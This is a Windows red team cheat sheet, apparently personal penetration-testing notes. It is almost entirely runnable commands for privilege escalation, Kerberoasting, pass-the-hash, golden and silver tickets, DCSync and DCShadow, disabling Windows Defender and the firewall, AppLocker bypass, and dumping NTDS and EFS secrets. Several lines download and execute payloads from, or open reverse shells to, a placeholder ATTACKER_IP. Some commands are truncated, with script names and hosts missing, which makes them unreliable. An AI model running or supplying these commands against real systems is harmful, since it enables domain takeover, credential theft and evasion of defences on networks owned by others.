Windows Red Team Cheat Sheet


# Systeminfo

# Especially good with hotfix info
wmic qfe get Caption,Description,HotFixID,InstalledOn

# What users/localgroups are on the machine?
net users
net localgroups
net user morph3

# To see domain groups if we are in a domain
net group /domain
net group /domain 

# Network information
ipconfig /all
route print
arp -A

# To see what tokens we have 
whoami /priv

# Recursive string scan
findstr /spin "password" *.*

# Running processes
tasklist /SVC

# Network connections
netstat -ano

# Search for writeable directories
dir /a-r-d /s /b

### Some good one-liners

# Obtain the path of the executable called by a Windows service (good for checking Unquoted Paths):
sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @echo --------- & @sc qc %i | findstr "BINARY_PATH_NAME" & @echo.) & del a 2>nul & del b 2>nul

Elevation of Privileges


# PowerShellMafia
# Use always dev branch others are shit.
powershell.exe -c "Import-Module C:\Users\Public\PowerUp.ps1; Invoke-AllChecks"
powershell.exe -c "Import-Module C:\Users\Public\Get-System.ps1; Get-System"

# Sherlock
# Unquoted paths
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """


– For kerberos to work, times have to be within 5 minutes between attacker and victim.

# Rubeus 
.\.rubeus.exe kerberoast /creduser:ecorp\morph3 /credpassword:pass1234

# List available tickets
setspn.exe -t evil.corp -q */*

# List cached tickets
Invoke-Mimikatz -Command '"kerberos::list"'
powershell.exe -c "klist"
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"kerberos::list"'"

# Request tickets 
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/web01.medin.local"

# Requesting from outside
python -request ECORP/morph3:supersecurepassword@

# Export tickets
powershell.exe -c "Import-Module C:\Users\Public\Invoke-Kerberoast.ps1; Invoke-Kerberoast -OutputFormat Hashcat"
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack Tickets
python /usr/share/wordlists/rockyou.txt ticket.kirbi

     Juicy Potato
Pick one CLSID from here according to your system

Required tokens

C:\Windows\Temp\JuicyPotato.exe -p cmd.exe -a "/c whoami > C:\Users\Public\morph3.txt" -t * -l 1031 -c {d20a3293-3341-4ae8-9aaf-8e397cb63c34}

      Stored Credential

# To check if there is any stored keyscmdkey /list

# Using them
runas /user:administrator /savecred "cmd.exe /k whoami"

      Impersonating Tokens with meterpreter

use incognito
list_tokens -u
impersonate_token NT-AUTHORITY\System

Lateral Movement

PsExec, SmbExec, WMIExec, RDP, PTH in general.
Since windows gave support to OpenSSH we should also consider SSH.

     Mimikatz Ticket PTH

mimikatz.exe '" kerberos:ptt C:\Users\Public\ticketname.kirbi"' "exit"
Enter-PSSession -ComputerName ECORP

     Winrm Session

$pass = ConvertTo-SecureString 'supersecurepassword' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ('ECORP.local\morph3', $pass)
Invoke-Command -ComputerName DC -Credential $cred -ScriptBlock { whoami }

     PTH with Mimikatz

Invoke-Mimikatz -Command '"sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:command"'
# PowerUpSQL

Get-SQLServerLink -Instance server -Verbose
powershell.exe -c "Import-Module C:\Users\Public\PowerUpSQL.ps1; Invoke-SQLEscalatePriv -Verbose -Instance ECORP\sql"

# To see servers 
select srvname from master..sysservers;

# Native
Get-SQLServerLinkCrawl -Instance server -Query "exec master..xp_cmdshell 'whoami'"

# Linked database tables
select * from openquery("ECORP\FOO", 'select TABLE_NAME from FOO.INFORMATION_SCHEMA.TABLES') 

# You can also use meterpreter module exploit/windows/mssql/mssql_linkcrawler
# With meterpreter module you can find linked databases and if you are admin on them

# You can do a query and try to enable xp_cmpshell on that server
select * from openquery("server",'select * from master..sysservers') EXECUTE AS USER = 'internal_user' ('sp_configure "xp_cmdshell",1;reconfigure;') AT "server"

Golden and Silver Tickets

Keys depend of ticket :
–> for a Golden, they are from the krbtgt account;
–> for a Silver, it comes from the “computer account” or “service account”.

# Golden Ticket
# Extract the hash of the krbtgt user
lsadump::dcsync /domain:evil.corp /user:krbtgt
lsadump::lsa /inject
lsadump:::lsa /patch
lsadump::trust /patch

# creating the ticket 
# /rc4 or /krbtgt - the NTLM hash
# /sid you will get this from krbtgt dump
# /ticket parameter is optional but default is ticket.kirbi
# /groups parameter is optional but default is 513,512,520,518,519
# /id you can fake users and supply valid Administrator id 

kerberos::golden /user:morph3 /domain:evil.corp /sid:domains-sid /krbtgt:krbtgt-hash /ticket:ticket.kirbi /groups:501,502,513,512,520,518,519 
# After this , final ticket must be ready
# Purge the currently cached kerberos ticket
kerberos::ptt golden.tck # you can also add /ptt at the kerberos::golden command
# You can now verify that your ticket is in your cache 
powershell.exe -c "klist"
# Verify that golden ticket is working
dir \\DC\C$
psexec.exe \\DC cmd.exe

# Silver Ticket
# Silver Ticket allows escalation of privileges on DC
# /target t he server/computer name where the service is hosted (ex: share.server.local, sql.server.local:1433, ...)
# /service - The service name for the ticket (ex: cifs, rpcss, http, mssql, ...)

kerberos::golden /user:morph3 /domain:domain /sid:domain-sid /target:evilcorp-sql102.evilcorp.local.1433 /service:MSSQLSvc /rc4:service-hash /ptt /id:1103
sqlcmd -S evilcorp-sql102.evilcorp.local

kerberos::golden /user:JohnDoe /id:500 / /sid:S-1-5-21-1234567890-123456789-1234567890 / /rc4:d7e2b80507ea074ad59f152a1ba20458 /service:cifs /ptt

AD Attacks

     DC Shadow

DC Shadow attack aims to inject malicious Domain Controlllers into AD infrastructure so that we can dump actual AD members.

#Find sid for that user
wmic useraccount where (name='administrator' and domain='%userdomain%') get name,sid

#This will create a RPC Server and listen
lsadump::dcshadow /object:"CN=morph3,OU=Business,OU=Users,OU=ECORP,DC=ECORP,DC=local" /attribute:sidhistory /value:sid

# Run this from another mimikatz
lsadump::dcshadow /push

# After this unregistration must be done
# Relogin

lsadump::dcsync /domain:ECORP.local /account:krbtgt

# Now you must have krbtgt hash

     DC Sync

lsadump::dcsync /domain:domain /all /csv
lsadump::dcsync /user:krbtgt

powershell.exe -c "Import-Module .\Invoke-DCSync.ps1; Invoke-DCSync -PWDumpFormat"

python -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@
python -system /tmp/SYSTEM -ntds /tmp/ntds.dit LOCAL

Bypass-Evasion Techniques

     Powershell Constrained Language Bypass

powershell.exe -v 2 -ep bypass -command "IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/rev.ps1')


     Windows Defender

sc config WinDefend start= disabled
sc stop WinDefend
# Powershell
Set-MpPreference -DisableRealtimeMonitoring $true
# Remove definitions
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All


Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off

     Ip Whitelisting

New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP

     Applocker ByPass

# Multistep process to bypass applocker via MSBuild.exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=9001  -f csharp -e x86/shikata_ga_nai -i  > out.cs 

# Replace the buf-sc and save it as out.csproj

Invoke-WebRequest "http://ATTACKER_IP/payload.csproj" -OutFile "out.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\out.csproj


# This also needs Veil-Framework
python --ip --port 443 -t Bypass -p installutil/powershell/ -c "OBFUSCATION=ascii SCRIPT=/root/script.ps1"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false payload1.exe

python3 -t Bypass -p regasm/meterpreter/rev_tcp --ip --port 9001
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U payload.dll


#Preparing payloads
python EncrypterAssembly/ EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt
EncrypterAssembly.exe EvilSalsa.dll supersecretpass123 evilsalsa.dll.txt

#Executing payload
SalseoLoader.exe password http://ATTACKER_IP/evilsalsa.dll.txt reversetcp ATTACKER_IP 9001

# Reverse icmp shell
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp ATTACKER_IP


     Changing Permissions of a file

icacls text.txt /grant Everyone:F

     Downloading files

IEX (New-Object System.Net.WebClient).DownloadString("http://ATTACKER_IP/rev.ps1")
(New-Object System.Net.WebClient).DownloadFile("http://ATTACKER_SERVER/malware.exe", "C:\Windows\Temp\malware.exe")  
Invoke-WebRequest "http://ATTACKER_SERVER/malware.exe" -OutFile "C:\Windows\Temp\malware.exe"  

     Adding user to Domain admins

Add-DomainGroupMember -Identity 'Domain Admins' -Members morph3 -Verbose

      Base64 Decode

certutil -decode foo.b64 foo.exe

      Network sharing

# Local share
net share
wmic share get /format:list

# Remote share
net view
net view \\ /all
wmic /node: share get

# Mounting share
net use Z: \\\C$ /user:morph3 password123

      Port Forwarding

# Port forward using plink
plink.exe -l morph3 -pw pass123 -R 8080:

# Port forward using meterpreter
portfwd add -l attacker-port -p victim-port -r victim-ip
portfwd add -l 3306 -p 3306 -r

      Powershell Portscan

0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(VICTIM_IP,$_)) "Port $_ is open!"} 2>$null

      Recovering Powershell Secure String

$user = "morph3"
$file = "morph3-pass.xml"
$cred= New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $user, (Get-Content $file | ConvertTo-SecureString)
Invoke-Command -ComputerName ECORP -Credential $cred -Authentication credssp -ScriptBlock { whoami }


$Ptr = [System.Runtime.InteropServices.Marshal]::SecureStringToCoTaskMemUnicode($password)
$result = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($Ptr)

      Injecting PowerShell scripts Into sessions

Invoke-Command -FilePath scriptname -Sessions $sessions
Enter-PSSession -Session $sess

      Enable RDP

# CMD 
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

# Powershell
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

# Optional
net localgroup "Remote Desktop Users" morph3 /add

# Reruling firewall
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
netsh advfirewall firewall add rule name="allow RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow

      Decrypting EFS files with Mimikatz

Follow the link here How to Decrypt EFS Files

crypto::system /file:"C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\thecert" /export

dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id"

# Clear text password 
dpapi::masterkey /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\SID\masterkey" /password:pass123

# After this command you must have the exported .der and .pvk files
dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\SID\id" /masterkey:f2c9ea33a990c865e985c496fb8915445895d80b

openssl x509 -inform DER -outform PEM -in blah.der -out public.pem

openssl rsa -inform PVK -outform PEM -in blah.pvk -out private.pem

openssl pkcs12 -in public.pem -inkey private.pem -password pass:randompass -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

# Import the certificate
certutil -user -p randompass -importpfx cert.pfx NoChain,NoRoot

type "C:\Users\Administrator\Documents\encrypted.txt"

Post exploitation - information gathering

      Reading Event Logs

User must be in “Event Log Reader” group
Follow this link

Get-WinEvent -ListLog *

# Listing logs of a specific user
$cred = Get-Credentials
Get -WinEvent -ListLog * -ComputerName AD1 -Credentials $cred

# Reading Security logs
(Get-WinEvent -FilterHashtable @{LogName = 'Security'} | Select-Object @{name='NewProcessNam
e';expression={ $_.Properties[5].Value }}, @{name='CommandLine';expression={
$_.Properties[8].Value }}).commandline

      Password Dump

# Metasploit

# Empire

# mimikatz

      NTDS.dit dump -system /tmp/SYSTEM -ntds /tmp/ntds.dit -outputfile /tmp/result local

python -u morph3 -p pass1234 -d --ntds drsuapi

# on DC, lsass.exe can dump hashes
lsadump::lsa /inject

Summary of tools

      Ad Environment


      Post Exploitation

CrackMapExec - CME



      Swiss Knife



Thanks to HTB for creating such a great platform.
Special thanks to Layle and xct they helped me in countless topics. Learned so much from them.